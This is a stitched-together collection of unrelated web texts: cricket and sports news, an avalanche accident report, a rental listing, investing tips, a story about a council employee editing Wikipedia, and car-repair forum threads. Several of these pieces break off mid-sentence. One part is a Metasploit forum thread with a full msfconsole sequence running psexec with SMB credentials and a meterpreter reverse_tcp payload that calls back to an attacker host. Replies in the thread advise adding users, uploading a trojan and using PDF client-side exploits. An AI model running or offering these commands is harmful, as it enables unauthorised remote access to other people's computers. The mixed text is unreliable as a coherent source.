Calcutta: Naved Akhtar of Town Club is likely to replace the injured Manoj Tiwary when the selectors select the Bengal squad for the Ranji Trophy match against Hyderabad, which begins on Saturday.
Veer Pratap Singh is also expected to return to the squad in place of Ashok Dinda, who is on national duty.
"Naved has been among runs in local cricket… So we want to give him a chance in the squad. However, it is unlikely that he will get a chance in the first XI. In all probability, Sandipan Das will feature in place of Manoj in the first XI. But Veer Pratap will surely make a comeback in the side," a selector said.
Apart from selecting the squad, the selectors are also expected to take stock of the pathetic performance of the side in the ongoing season. In six matches thus far, Bengal have lost three matches, eking out draws in the remaining three.
It was learnt that the selectors are extremely disappointed with coach Woorkeri Raman. The fact that Raman returned to the city on Tuesday, soon after the team lost their match against Saurashtra, did not go down well with the selectors.
"After the team lost against Saurashtra, the coach should have stayed with the team and encouraged the players. This sort of behaviour is not acceptable. With only two matches remaining, the team needs to buck up. We have provided the coach with everything and accepted his demands. Now, we want some answers," one of the selectors said.
The captain, Manoj, has already been ruled out for about six weeks with an injury. Now, the coach is on a rough pitch. Not everything is right with Bengal cricket.

Once you have a shell you can add a user or you can try one of the add user payloads. Then connect back to the victim with psexec or something like that.
Hi Im quite new with metasploit.
Iv been trying to hack in to my vista sp1 laptop. I did it like this and ti worked.
So the question is how can I maintain access to my laptop using metasploit so that I dont need to know username and pass.Code:cd /pentest/exploits/framework3 msfconsole use windows/smb/psexec set RHOST 192.168.1.38 (target) set SMBUser username set SMBPass pass show options set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.33 (me) exploit
Once you have a shell you can add a user or you can try one of the add user payloads. Then connect back to the victim with psexec or something like that.
I mean situation when I dont know user name or password target.
Simply use an exploit to get a meterpreter session on the remote PC than just add username/pass or upload a trojan
is there any good tutorial for that, which exploit/payload to use? Iv used windows/metepreter/reverse_tcp
but which exploit psexec needs username and pass
psexec is not a exploit. Its a windows commend line tool that allows you to connect to windows box's in a legit way once you have gained a user name and password or added one via another exploit. If you do not know the user name and password you will need to find a exploit which works with out them. Generally a client side attack is the best approach for new operating systems.
Iv tried many of exploits, but I havent found any of these working with vista sp1.
Iv been following many guides like this http://www.securitytube.net/Client-S...oit-video.aspx
Ideas which exploit to use?
As I said in my previous post there are many client side attacks which work fine against vista.
You mean like this windows/fileformat/adobe_pdf_embedded_exe
please show me a example
google : How hack a remote system using Metasploit
and search you tube plenty of videos on the topic.

Detailed Accident Report
Submitted By: BTNF Avalanche Center
Place: Granite Canyon; Grand Teton National Park
State: WY
Country: USA
Fatalities: 1
Summary: 1 skier caught, buried, and killed.
Granite avalanche kills
season's fifth victim.
By Angus M. Thuermer Jr.
Jackson Hole News
Grand Teton National Park rangers on Saturday recovered the body of
24-year-old ski instructor Allen Wagner from an avalanche site on the back
side of Apres Vous Mountain.
Wagner died in the avalanche Friday after he apparently set it off at about
4:15 p.m. The slide carried him over a 40 foot cliff and some 500 feet
down the slope where he was buried three feet deep, park officials said.
He is the fifth avalanche victim in Teton County this season, the 26th in
North America. Bridger-Teton National Forest avalanche forecasters have
warned all winter of suspect layers in the snowpack and have logged dozens
of observations of skier-released avalanches in the mountains around
Jackson Hole.
Wagner, originally from Boulder, Colo, and friends Zach Giffen, Jeff Giffin
and Torrey Rodgers, all in their early 20s, left the Jackson Hole Mountain
Resort from the Apres Vous lift at 4 p.m. to start their excursion. A
preliminary report by the BTNF forecast center noted that there is no
regular gate in the ski area boundary where the four left the resort.
The group intended to ski a steep 200-foot chute near Caledonia Couloir.
Wagner approached the chute a different way than his friends and apparently
provoked the avalanche.
In its preliminary report to the Westwide Avalanche Network, the local
avalanche center said a small slide provoked a deeper fracture - about two
feet deep - that carried Wagner down the side of the canyon. The incident
occurred on a north-facing slope at about 8,000 feet on a day when the
danger was rated at "considerable." "Considerable" danger indicates a
condition when human-triggered avalanches are probable. There had been 3
inches of new snow in the previous 24 hours, 15 inches in the previous
three days.
The slide stopped at Granite Creek, close to Jeff Giffin who had skied down
first. He turned his avalanche transciever to "search" and quickly got a
strong signal from Wagner's transciever, park officials said.
Zach Giffin arrived at the scene and hit Wagner with his first probe into
the snow. Friends freed Wagner's face of snow in five minutes, but it took
another 15 to free his body to the point they could begin rescue breathing,
park officials said. One of the party skied out to notify the ski patrol,
who learned of the incident at 5 p.m.
The park launched a helicopter and the Mountain Resort dispatched four ski
patrollers to the scene. The helicopter had to retreat in the face of
darkness, but the ski patrol reached the scene at 6:30 p.m. Patrollers
continued resuscitation efforts with an electronic defibrillator and
oxygen, without success.
The skiers left the canyon that evening and Wagner's body was flown out
Saturday morning.
The park used the incident to remind backcountry users of the grim
statistics regarding avalanche survival and death. Among avalanche victims
who are buried less than a meter deep and uncovered within 15 minutes, 20
percent still die.
"This tragedy reinforces repeated safety messages, which have been
emphasized throughtout this winter," the park said. "Avalanche danger
remains 'considerable' to 'high.' Backcountry skiers need to know the
terrain they are traveling in and be prepared for all types of winter
emergencies, including the possibility of a life-threatening accident.
Further, backcountry skiers need to understand there is no guarantee of

A 22 year male skier became the fifth local avalanche fatality of the season yesterday, February 23, 2001. The victim is
believed to have triggered a small slab which swept him over some cliffs. This event then triggered a slab on the snow
apron beneath the cliff believed to be two feet in depth. The victim was wearing a transciever and is reported to have been
located by his partners within five minutes at a depth of three feet in the toe of the debris. Attempts at resuscitation were
This incident occured in a steep cliffy area on a northerly aspect in Granite Canyon in Grand Teton National Park in Teton
County, Wyoming. The victim and his party accessed this area from the Jackson Hole Mountain Resort, however there is
not a backcountry access gate at this location. The starting zone of this incident is suspected to be at an elevation of 8,000
feet. This infromation is provided by the Bridger Teton National Forest Avalanche Center and is preliminary.

Monday July 23rd, 2012 4:46pm
The air was crisp, the sky was clear and the sun was beating down upon the breathtaking Adirondack Mountain scenery early Monday morning as the 2011 Lake Placid Summit Classic Lacrosse Tournament got underway.
Hundreds of parents, players and lacrosse fans were making their way onto the North Elba Athletic Fields and Horse Show Grounds by 8 a.m. as plane after plane took off about a hundred yards away at the Lake Placid Airport. Already cranking up the grills and positioning product displays, food and merchandise vendors got to work as the lacrosse community – including college recruiters – set up shop for the week here in the Olympic Village.
The U-18 boy's action got off to a quick start, with recruiters from Syracuse, Maryland and other major programs coming out early in the day to get a glimpse of some of the top high school talent that has made its way to Lake Placid this summer. While the event is a festive one, there's no mistaking the hard work some college coaches are putting in to convince players to join their programs.
The talk of the tournament on Day 1, Shoreham-Wading River rising junior attackman Tim Rotanz broke out early in the morning with a 7-goal, 2-assist performance over Team 22 Orange, one of three team's brought from Florida to Lake Placid by Casey Powell.
A tough, strong lefty, all things ran through Rotanz, who is automatic when near the cage, and has an incredibly accurate and hard shot from the outside. The leading scorer on Long Island as a sophomore and an All-American selection, Rotanz even picked up the long pole on several series, showing a knack for playing both sides of the field. It was no surprise to see college coaches watching him a few hours later against CNY-based Liberty.
Another U-18 squad garnering recruiter attention, the Fellowship of Christian Athletes (FCA) National High School Team boasts remarkably skilled players, many of whom have already or will soon commit to elite college programs. Facing a tough and skilled Carbon team from Toronto, the FCA National squad cruised to a 15-1 victory. Rising junior midfielder Stephen Kelly (Calvert Hall, MD) and classmate Dylan Maltz (Stone Bridge, VA), a Syracuse recruit, put on a show in leading the way for FCA.
Kelly, who is emerging as one of the top recruits in the 2013 class, dominated face-offs and scored two goals off the draw. Maltz, who finished with 5 goals and an assist, dazzled the crowd in the second half, corralling a ground ball at midfield, streaking in and unleashing a beautiful behind the back shot with pressure all over him.
A team comprised of some of the best players from the Rochester and Buffalo areas, the Buffalo Soldiers – rocking some intense Rasta-colored gear and jerseys – are fielding a squad that caught the notice of some of the college coaches in attendance.
After defeating Liberty 12-4, the Soldiers downed Vestal, 9-0. The team features Fairport's Derek DeJoe (Syracuse), Irondequoit's Nick Doktor (an All-American in 2011 who has committed to Penn), Canandaigua middie Matt Scharr (Mercyhurst), and host of other Western NY and Genesee River Valley players who will be heading off to noteworthy college programs. Plenty of still-uncommitted standouts – including Pittsford's Corey Park, Frontier's Jimmy May, St. Francis' Cooper Stefaniak, and Hamburg's Mitch Shafer and Max Maxwell (2013) – are examples of the recruiting treasures to be found at the Summit Classic.

FLORENCE, S.C. - The Francis Marion University men's basketball program has announced its All-Decade Team for the 1990s, a squad that includes the program's all-time scoring leader.
The team was selected by FMU coaches and personnel, and longtime Patriot supporters. The eight-member team joins the previously announced squads from the 1970s and 1980s. To be eligible for selection, a student-athlete must have earned his degree.
The squad includes forward Franklin Bellamy (1989-93), shooting guard Jake Biddle (1994-96), guard-forward Carlton Farr (1990-95), point guard Yaron Lahat (1997-99), forward Tim Proffitt (1988-92), forward-center Gene Reaves (1992-96), guard John Schantz (1987-91), and center Allen Wilson (1996-99).
Bellamy, a 6-4 native of Statesville, N.C., scored 1,455 points and grabbed 708 rebounds (fifth best in team history) in 122 career contests. He holds the school single-season (70.5%) and career (63.7%) records for highest field-goal percentage. He was twice named to the Palmetto State Conference All-Conference Team, while also earning All-Peach Belt Athletic Conference and All-NAIA District Six honors once. As a sophomore in 1990-91, he averaged 14.9 points and 6.9 rebounds per game with a team-high 56 steals, while leading the Patriots to a 22-10 record and the school's only trip to the NAIA national tournament in Kansas City, Mo.
Biddle, a 6-1 three-point shooter from Corydon, Ind., had his Patriot playing career cut short (1994-95 and 1995-96 seasons) due to a back injury. He returned to FMU several years later to serve as a student assistant coach and earn his degree. In 49 games, he scored 653 points, grabbed 172 rebounds, and handed out 100 assists. His deadly jump shot rained from behind the three-point arc, where he shot an amazing 43.7 percent for his career. He was named the Peach Belt Conference's "Freshman of the Year" in 1995 after averaging 14.9 ppg and establishing school single-season records for three-point (48.6%) and free throw (89.7%) accuracy. He also holds the FMU career mark for free-throw percentage (87.8%).
Farr, a 6-3 slashing swingman from Spartanburg, S.C., established numerous team records in his unusual five-year career. After playing six games in 1990-91, he broke his wrist and was granted medical redshirt status. He went on to play in 119 career games and became the school's career scoring leader with 1,863 points. He ended his career third on the assists list with 326, while setting team records for steals in a season (65) and career (247). He was the 1992 Peach Belt "Freshman of the Year" and in 1995 was the conference's "Player of the Year" and earned All-Region recognition. He was a three-time All-Peach Belt selection and a three-time FMU team most valuable player. Statistically, his best season came in 1993-94 when he averaged 18.6 ppg and 6.7 rpg with 64 steals, while also shooting 41.7 percent from beyond the three-point line.
Lahat, a 6-2 floor general from Ramat-Gan, Israel, played only two seasons at Francis Marion before having to return home to fulfill a military commitment. In 55 contests, he averaged 8.8 ppg, 5.3 rpg, and 5.4 assists per game. He ended his career fourth on the assists list with 296, while committing only 150 turnovers. During his second campaign, he averaged 10.7 ppg, 5.9 rpg, and 6.2 apg with a team-high 58 steals. In 1999, he earned GTE Academic All-District III honors, and in that year's regular-season finale against nationally ranked Georgia College & State University, he posted only the second-ever triple double in Patriot men's history. A week later, he won the squad's opening Peach Belt Tournament game with a last-second layup in overtime.
Proffitt, a 6-4 swingman from Lily, Ky., played four seasons for the Patriots, averaging 6.4 ppg in 121 contests. A versatile player and a good defender, he recorded more assists than turnovers (208 to 169), while shooting 75.7 percent from the charity stripe and 40.5 percent from three-point territory.
Reaves, a 6-7 forward-center from Greensboro, N.C., played four seasons between 1992 and 1996. He scored 988 points and grabbed 556 rebounds in 109 career games. He shot 54.7 percent from the floor and 71.4 percent from the foul line, while totaling 36 blocked shots. He was named the most valuable player of the 1995-96 Patriot squad after averaging 12.7 ppg and 6.6 rpg and shooting 55.3 percent from the floor.
Schantz, a 6-2 guard from Sylvania, Ohio, played in a school-record 129 games between 1987 and 1991, and handed out a team-record 413 assists. He scored 1,295 points and hauled down 339 rebounds, while committing only 266 turnovers. A pure shooter with great range, he made 83.7 percent of his career free throws and 37.3 percent of his three-point attempts. During the 1990-91 season, he set the Patriot single-season mark for assists with 180, while also averaging 11.8 ppg. He was named to the 1990 All-Palmetto State Conference Team.
Wilson, a 6-9 center from Mullins, S.C., played three seasons at FMU, after transferring from USC Aiken. A dominant "man-in-the-middle," he averaged 12.8 ppg and 8.1 rpg in 83 games for the Patriots, giving him FMU career totals of 1,066 points and 675 rebounds. A two-time team MVP and two-time All-Peach Belt selection, he owns FMU's single-season (65) and career (159) records for blocked shots. Including his freshman campaign at USCA, he ended his career as the Peach Belt's all-time rebounding leader with 866.
The team will be recognized on Saturday, Feb. 17, as part of Spirit Week activities and that afternoon's (4 p.m.) game against Kennesaw State University.

The landlord does not accept the following in this place:
If you're set on coming to Porto to study, then check out this great looking apartment located in Valbom. Although you'll be a bit farther from the city centre, you'll be well-connected to it by the nearby transport links and you'll be within reach of several small cafes, stores and restaurants as well as not too far from Hospital-Escola da Universidade Fernando Pessoa. Let's have a look!
Featuring three bedrooms, a bright living room, a fully equipped kitchen where you'll find it a pleasure to prepare and cook all your meals, and a bathroom, this apartment is going to make you feel like home from the get-go. There are two available bedrooms, one of them is elegant and comes neatly furnished to comfortably accommodate you, and the other lovely bedroom shares the area with the living room.
Find out more about this property's common areas in our photo gallery.
Looks like no one had the time to review this place yet!
These conditions were defined by the Provider and are subject to change.
We have verified this property. We are still working on having the Landlord's contacts and documents fully verified.
Getting Around
Your new neighbourhood
Path to university
At Uniplaces we make the process of booking an apartment as easy as possible for both tenant and landlord.
That's why we have our own team of professional photographers that verify our properties and pick our landlords carefully in order to save time on viewings: we think it's old-fashioned and time-consuming.
You can look at forty different apartments on our platform in the same amount of time that it takes to see a room.
The pictures you see here haven't been photoshopped, so they'll be really accurate.
If you've still got any doubts, we'll keep the money that you transfer us until 24h after your move-in date.
If something's not exactly what you saw online, we'll help you move somewhere else and return your money.
We can only give you the contact details of your landlord after your booking is accepted. But we can guarantee that Uniplaces chooses the landlords it works with very carefully.
Besides, we've had students whose favourite part was living with a local!
Landlords and host families can be great city guides, help you out with translations and even become your friends.
As soon as your booking is accepted, you're given the landlord's contact details. Then, you can discuss all details directly with them, such as when you'll be moving-in.
Students move in and out at different times, so your flatmates might change during your stay.
It's a great opportunity to make new friends!
We personally speak to students who we place in Uniplaces apartments and are sure we will find the right place for you as well!
At the bottom of the property page, you have a calendar where you can see the availability of that room/apartment, according to the landlord.
But if you're still unsure about that we're happy to help.
Tell us your move-in and move-out dates and we will double-check if the place is available for you!
There are two different types of deposits: the Holding and Security deposits.
By clicking on "Deposit" at the bottom of the offer page you will get more information about each type of deposit.
In general, the deposit is paid to cover for any potential damages that may occur during your period of stay or will be used as rent compensation in case you leave earlier than originally planned.
If no damages occur and you leave on the agreed move-out date, your deposit should be refunded by the landlord in a way you both agree on.

Parking your money in a zero interest savings account or under the mattress may be one way to play it safe, but you will be forfeiting potential profits you can receive from your hard-earned income. Let's look at some ways to put your money to work for you:
CD investing tips
A CD is a form of deposit account with a banking institution that usually provides a higher interest rate than a standard savings account. They are insured for up to $250,000 by federal deposit insurance.
CDs are a great, low-risk way for beginning investors to see some gains in their portfolio. If you are considering purchasing a CD, find out when the CD matures and confirm the interest rate. Do your research before you buy. You might look for tips on finding the highest CD rates online.
Bond investing tips
Governments and companies issue bonds to raise money for funding their operations or for financing specific projects. By buying a bond, you are loaning out your money for a length of time to the issuer of the bond. In return, you will receive the original amount of your loan plus interest. Bond investing is considered a conservative investment.
Stock investing tips
Although there are sometimes short-term downturns, over time the stock market has generated good returns for most people. It is important that you do some basic research so that you are selecting stocks that are likely to increase your investment.
Buy and hold
This is the strategy employed by famous billionaire investor, Warren Buffet. It is very simple. Pick good companies with sound finances and talented management in a growing industry. There may be ups and downs in your stock periodically, but investing in this way gives you the best chance to grow your investment.
Day trading
Day trading is moving in and out of stocks in short time frames based upon where you think the market is moving short-term. It can be lucrative, but it is much more risky than the average investor has the appetite for.
We have all heard the saying, "Don't put all you eggs in one basket." This principle holds true when it comes to investing in stocks. You should invest in several asset classes to ensure that you limit risk and reduce volatility.
We all want a retirement where we can living comfortably well into our golden years. Keeping these tips in mind should protect your portfolio and generate positive returns for years to come.

After a long-running fight to save the Tumbledown Dick, work to turn the vacant Farnborough pub into a McDonald's is due to begin today (February 24).
Planning permission to redevelop the site was granted last October and the fast food chain said construction work is due to begin on Monday.
The Friends of the Tumbledown Dick was established in October 2012 to protest against plans to turn the pub into a fast food restaurant.
The Friends have agreed a deal with McDonald's that they will share any artefacts that are uncovered during the demolition work.
A spokesperson for McDonald's said: "Our intention is to open the restaurant and start serving customers in August."
Last week claims were made that the campaign to save the Tumbledown was sabotaged by someone within Rushmoor Borough Council offices.
Edits to the online information site Wikipedia were made while campaigners fought to save the pub from redevelopment. Campaigners created an online entry on the website on January 6 last year, documenting the history of the building and the campaign to save it.
A number of revisions were made to the page, which can be done by members of the public, on April 15 and 16 last year, from an IP address traced back to the council's network. Ten revisions were made on April 15 within minutes of each other.
A statement made by the campaign group said the page was 'systematically edited' in a bid to water down or discredit the information that had been included.
Kevin Carter, 45, of Nightingale Close, worked in the Tumbledown Dick in the late 1980s and took part in two of the demonstrations that were held to try and save it. He said: "Although anyone has the right to edit Wikipedia information that in their own opinion is incorrect, doing so anonymously from within offices of the council is unacceptable and cowardly.
"Talk about conspiracy, corruption and McDonald's money within Rushmoor Borough Council will now obviously be rife once again.
"The council needs to announce who the editor is to resolve this issue and regain some local trust. Are we talking about a misguided office junior who just made a mistake, or was it a councillor or official in the planning department who benefited from the sale of the site to McDonald's?"
Edited sentences related to the council publishing a report commissioned by Turley Associates into an inspection of the building.
Following the sentence "In response to the Turley Report, The Friends of the Tumbledown Dick have commissioned and published their own heritage report into the historical value of the pub," a contribution was added saying: "The author(s) of the report did not however have access to the building."
A minute later, a heading on the page entitled 'English Heritage Report' was changed to 'English Heritage Decline to List the Building'.
A sentence which said the pub was believed to have been built prior to 1600 with a small portion of the front of the original building remaining at the rear of the pub was edited to remove the latter part of information.
McDonald's had planned to submit a planning application last April - the same month as the edits were made - however, this was delayed and submitted in July.
A spokesperson for the council said: "Rushmoor Borough Council did receive a complaint from the Friends of the Tumbledown Dick group that a number of changes had been made to the Wikipedia entry and that these changes had been tracked back to the council's IP address. At the time, we investigated this complaint fully and discovered that a member of staff, acting entirely on their own initiative, had made some changes to the Wikipedia information, believing they would improve the factual nature of the entry.
"These changes were made without any request or authorisation from the council. However, following the complaint and subsequent investigation, we did instruct staff that they were not to edit Wikipedia articles in their professional capacity without first seeking guidance or permission."
An appeal to overturn the decision to make the Tumbledown Dick a McDonald's was rejected on the same day as the campaign chairman Fran Beauchamp resigned last autumn.

I've never met John Nash," she told the daily. "But a 73-year-old man who has gone through hell and who agreed to entrust us with his life shouldn't have to go through these attacks."
She said it was "shameful" to take statements made when Nash was suffering from delusional schizophrenia out of context.
The latest media battle over the film follows an earlier industry brouhaha over the makers' decision not to portray Nash's homosexual encounters and adultery which Nasar laid out in her book.
But the studio has been at pains since before the film's release to stress that A Beautiful Mind was never intended to be an accurate bio-portrait, but was instead an artistic film "inspired" by Nash's life.
But the timing of the latest attack on the picture comes at a bad time when studios are spending millions of dollars in advertising campaigns to bolster the image of their films in the hope of swaying Oscar voters.
A Beautiful Mind is nominated for eight Academy Awards including best film, best actor for Crowe, best director for Ron Howard and best supporting actress for Jennifer Connelly who plays Nash's wife Alicia.
The Oscars will be handed out in a ceremony in Hollywood on March 24.

When we left Bull Shoals boat dock, it was clear sailing for the Elite anglers taking off.
We're about halfway up the lake and it doesn't look so clear anymore. We've run into a heavy bank of fog. We don't know if it's isolated or not.
No sooner than I type that and we arrive at the lake.
The fog has cleared some but you can see it moving in.
We quickly launch the boat and see Clark Reehm fishing off a point. He said some of the bends in the river got a little tricky with fog but that it wasn't socked in on their run this way.
But with just a few minutes on the water, the fog has gotten much heavier. We assume, or hope, a lot of these guys are where they are planning to fish. This will make it hard to move around and hard to find anglers.

expected number of users the reports will be gener-ated. Selecting a report would in general give the details like number of test clients, number of hits per second, requests per second etc. The result codes will highlight if the system is susceptible to use by recording the results. Hence the user would be able to get useful data on the test run.
Load testing is the measure of an entire Web application's ability to sustain a number of simultaneous users and transactions, while maintaining adequate re-sponse times. It is the only way to accurately test the end-to-end performance of a Web site prior to going live.
Two common methods for implementing this load testing process are manual and automated testing. Manual testing would involve
- Coordination of the operations of users
- Measure response times
- Repeat tests in a consistent way
- Compare results
As load testing is iterative in nature, the performance problems must be identified so that system can be tuned and retested to check for bottlenecks. For this reason, manual testing is not a very practical option.
Today, automated load testing is the preferred choice for load testing a Web application. The testing tools typically use three major components to execute a test:
- A console, which organizes, drives and manages the load
- Virtual users, performing a business process on a client application
- Load servers, which are used to run the virtual users
With automated load testing tools, tests can be easily rerun any number of times and the results can be reported automatically. In this way, automated testing tools provide a more cost-effective and efficient solution than their manual counterparts. Plus, they minimize the risk of human error during testing.

ok, so i just bought an '03 wagon, and just realized something: I think i have a boost leak. i have the factory boost guage, and when i accelerate in any gear (as far as i know) the most boost i'll get is about .09. i'm pretty sure that means 9 lbs of boost. And when i get 500rpm or so away from redline the boost drops off. The car does not boost nearly as hard as some of the other wrx's that i test drove either. now i realize i'm retarded for buying it. Also, when i accelerate i hear a whining sound like a dentist drill when i get to about .0 lbs. At first i thought this was just the normal turbo sound, but now im not so sure.
any ideas on how to check for leaks? or should i just take it to a shop and see what they say.
p.s. i read some other posts on boost leaks, but i dont understand all this WOT, FMIC stuff like that. im a noob, so plz be nice.

Michael Wacha's Near-No-Hitter Sends NLDS Back to St. Louis
Michael Wacha pitched a gem today against the Pirates. (Photo Credit: David Hague)
Toss 22-year-old Michael Wacha onto a pitcher's mound where he has to keep the Cardinals' season from ending. Add 40,000 screaming fans who want nothing more but to see him fail, and tauntingly sing his name from the first pitch.
"I kind of like it," Wacha said. "It kind of gives me adrenaline. I kind of use it in my favor."
St. Louis' starter retired the first 15 Pirates hitters he faced, six via strikeouts. He took a perfect game bid into the 6th inning and a no-hit bid into the 8th, the first rookie pitcher to ever do so in the postseason. And oh yeah, he kept the Cards alive for an NLDS-deciding Game 5 at Busch Stadium.
"I don't know if you can put a kid in a tougher spot," St. Lo...

James dabbles in the baseballey-writey world. He won the SABR Analytics Conference Research Award for contemporary baseball analysis. It was for that defensive shifts piece, you remember that? Not a huge deal, he also lost a bunch of other awards. He has also written for NBCOlympics.com, Pittsburgh Magazine, Pittsburgh Sports Report and the official websites of the Los Angeles Clippers and Pittsburgh Penguins. By night, James is a television news reporter and weekend anchor for WKBN and WYTV in Youngstown, Ohio. Makes sense, seeing as how his degree from the University of Southern California is in Broadcast Journalism. James dispenses more bad jokes at his Twitter account, @JamesSantelli. It's there that he promises to write in the first-person.
Hopefully with Glasnow lowering his leg kick and speeding up…

Flick through PR Week and you find endless stories about companies ditching their PR agencies. Constantly replacing retained agencies is a bizarre and excessively costly ritual, both for the companies and the agencies.
Sometimes it's done for no other reason than that the client has a new head of communications and wants to make "an impact". Sometimes the agency has lost interest in the client, or the client's needs have changed.
But, in my view, the most significant cause of agency divorce stems from bad procurement. To get contracts, agencies have a tendency of being over-optimistic about results. And this can be combined with a client's unrealistic views of what can be achieved on the budget.
If you're a client, relying exclusively on agency pitches is, in my view misguided. It opens you up to all manner of wishful thinking by agencies – and let's make no mistake, if the agency needs your business, there's little hope that they will try to manage expectations down to a realistic level.
And if you're an agency, a client who has no idea what's realistic – but who thinks your business-to-business product will be reviewed on Radio 4's Woman's Hour – is a difficult client to pitch to.
These difficulties are why I recommend that clients do a PR audit before they seek proposals from agencies. An audit, by an external and independent consultant, will examine a range of issues including what a reasonable level of coverage based on other companies of a similar size and of others in the same sector. It has to be by someone who's not in the running for the retainer, otherwise the recommendation will simply be "Hire me! Hire me! Hire me!".
With an audit in hand, it becomes easier to work out if hiring an agency is likely to deliver the right return on investment, and whether prospective agencies are being realistic in what they propose.

Well the styling certainly doesn't wow me in the least, and I too was hoping for a little more uniqueness in the sheetmetal...especially after the MKV debacle. This thing will quietly go about its business and fade into the background. I can't help but feel VW has dragged the Jetta downmarket, and I think they're doing the nameplate a disservice. Isn't that what the Polo is for afterall...to capture the $15,000 crowd??
Two things stand out to me concerning the styling. First, I think the interior actually looks lower rent than the MKV. The gauge cluster in particular looks downright plain and cheap. Hop into the MKVI Golf or GTI, and the interior is just executed perfectly. The Jetta should have adopted the Golf and GTI interior...much better-looking in my opinion. And secondly, what's with the chrome strip only along the bottom edge of the windows? It looks very odd to me. It would look much better if the chrome wrapped around the tops of the doors as well. Or better yet, just make the whole trim black for consistency.

Elizabeth Banks: Sunny at Sundance for "Little Accidents"
Striking a pose to promote her new flick, Elizabeth Banks hit up the portrait studio at the 2014 Sundance Film Festival on Tuesday (January 21).
The "Little Accidents" star looked cute in a long-sleeved white and black patterned dress with black leggings and an EF Collection ring as she smiled solo and with co-stars.
In the upcoming drama, a 14-year-old boy disappears in an American coal town, drawing together a surviving miner, the wife of a mine exec, and a local boy.
Written and directed by Sara Colangelo, the movie also stars Katie DeLuca, Grant Bauman, Jacob Lofland, and Boyd Holbrook.

KHARTOUM – Asaad Abdulmajid is saying goodbye to Sudan and its crisis-hit economy after having found a job in Saudi Arabia with a salary he says is more than 20 times what he earned from a government hospital at home.
Abdulmajid, 29, has joined tens of thousands of Sudanese medical workers, technicians, academics and others fleeing the country for better opportunities abroad, according to official statistics.
"In Sudan, my total monthly salary was 600 (Sudanese) pounds (about $85 on the black market)," the doctor said at a government office crowded with Sudanese completing their paperwork to emigrate.
"Now I have a contract with a private hospital in Saudi Arabia that will pay me 8,000 rials ($2,100)," he said.
The mounting exodus among medical workers is "a real brain drain from Sudan," said El Sheikh Badr, a doctor with the Health Ministry.
The outflow coincides with a worsening economy since South Sudan separated nearly two years ago, taking with it about 75 percent of united Sudan's oil production.
Sudan's currency, the pound, has lost about 40 percent of its value on the black market since late 2011, and inflation reached 43 percent in January. Estimates of unemployment range up to 40 percent.
More than 94,000 workers left Sudan last year, compared with about 10,000 in 2008, according to a Labor Ministry study.
It highlighted a rising number of migrants in the higher education, health and technical sectors, although these skilled categories are still a minority among those leaving.
University of Khartoum economist Mohammed Eljack Ahmed said jobs in government institutions are often believed to be allocated on political, tribal or ethnic grounds rather than merit, an "injustice" driving away members of the intelligentsia.
At the same time, the government spends a negligible proportion of its budget on education and health.
The majority of Sudanese government spending goes toward security and defense.
According to the Labor Ministry study, 1,620 doctors left Sudan last year compared with 338 in 2008.
Nurses and other skilled health workers are also moving abroad as part of what Badr called "massive migratory flows" of medical personnel.
Labor Ministry figures show Saudi Arabia is the largest beneficiary of Sudanese migrants but thousands have also left for the United Arab Emirates, Qatar, Kuwait, Libya and elsewhere.

Back in February 2010 he unleashed a rant of anti-Semitic slurs against patrons of a French bar, and now John Galliano has been found guilty.
The iconic designer was charged and convicted of "public insults based on origin, religious affiliation, race or ethnicity" by a Parisian court today (September 8).
He was fired from his position as head designer at Christian Dior over his very public anti-Semitic remarks, and earlier today (March 2) John Galliano issued an apology.
In a statement issued by his legal counsel, the flamboyant fashionista declared, "Anti-Semitism and racism have no part in our society. I unreservedly apologize for my behavior in causing any offence."

Why the Magic Mile?
After having worked with over 300,000 runners over 40 years, I've compiled hundreds of performances and have established a prediction formula based upon a one mile time trial. In other words, every 2 weeks or so, you can run a measured mile (at a good, hard pace for you) and use the time to predict what you could run at longer distances.
This assumes that:
-You do the training needed for the distance and time goal (See my books Running Year Round Plan and Galloway Training Programs)
-The temperature on the race day of your race is 60F or cooler
-You pace yourself correctly and take the walk breaks necessary for your goal (see the same two books for details)
What is your magic mile pace?
The calculations above used the formulas below.
Add 33 seconds to your magic mile for your pace for a 5K
Multiply your magic mile time by 1.15 for 10K pace
Multiply your magic mile time by by 1.2 for half marathon pace
Multiply your magic mile time by by 1.3 for marathon pace
Here's how to do the one mile time trial:
2015 Run-Walk-Run Strategies
Pace/mi Run Walk
7:00 6 min 30 sec (or run a mile/walk 40 seconds)
7:30 5 min 30 sec
8:00 4 min 30 sec (or 2/15)
8:30 3 min 30 sec (or 2/20)
9:00 2 min 30 sec or 80/20
9:30-10:45 90/30 or 60/20 or 45/15 or 60/30 or 40/20
10:45-12:15 60/30 or 40/20 or 30/15 or 30/30 or 20/20
12:15-14:30 30/30 or 20/20 or 15/15

This is a discussion on 2013 WRX P0451 Code Evap Emission Control System within the General Maintenance, Troubleshooting & Accidents. forums, part of the Tech & Modifying & General Repairs category; Originally Posted by Cho.co.Pie Are all your cars stock or modified? I just hit 9k miles on my '13 wrx ...
Just another update from me. Turns out my code was somehow read wrong (wtf autozone) and they saw the P0451 from before my wiring harness ground(s) were re-soldered etc. Turns out my code was a P0455 from my gas cap being faulty. I am now over ~400 miles give or take with no CEL P0451 related issues since the re-soldering. Was also reassured that 3/4 cars that had the P0451 that came into the dealer and got the same fix as my car, the techs have not seen them again for the same issue since.
You guys that are struggling still, ask about the ground wire(s) etc. I'm pretty confident now that that is the problem!
Just realized I forgot to update this thread. The dealership replaced the entire wiring harness on October 2nd. I dropped it off in the morning, they had it done by the afternoon. No check engine lights since and everything appears to be running correctly.
I finally have an update as well! I took the car in a couple of weeks ago to get the codes looked at for the third time, but this time they checked the wiring harness. I took it in on a Thursday to get the initial testing done, then they said they would need it overnight, so I scheduled to bring it in the following Monday so I could get a rental.
Heres the text from the initial service report on Thursday:
Heres the text on the report that I got when I picked up the car today:
For reference, the part number for the harness is listed as 24020AF070.
Hello, bringing this back up. I got the P0451 code, I cleared it, because I wanted to drive with my cruise control. I got home, parked for about 5-6 hours, went to leave and vehicle cranked but did not start. I tried starting it and it fired up finally after 4 tries...... I drove it ~40 miles and no codes came back yet, but its still reading not ready. I stalled it 3 times at different take offs, seemed weird. Idle seemed to be low RPM, almost shutting off when coming off gas pedal. Checked fuel cap first.
I wonder if I should wait for a code, or just take it in.
2013 WRX Sedan 18000 miles
Annnnnd I have a P0451 again. It's been about 10k miles since I last got this code, but at last, it's here again. So replacing the Leak Canister Valve didn't seem to completely fix the problem. Anyone have an update about the Engine Wire Harness being a "permanent" fix?
It permanently fixed my check engine light.
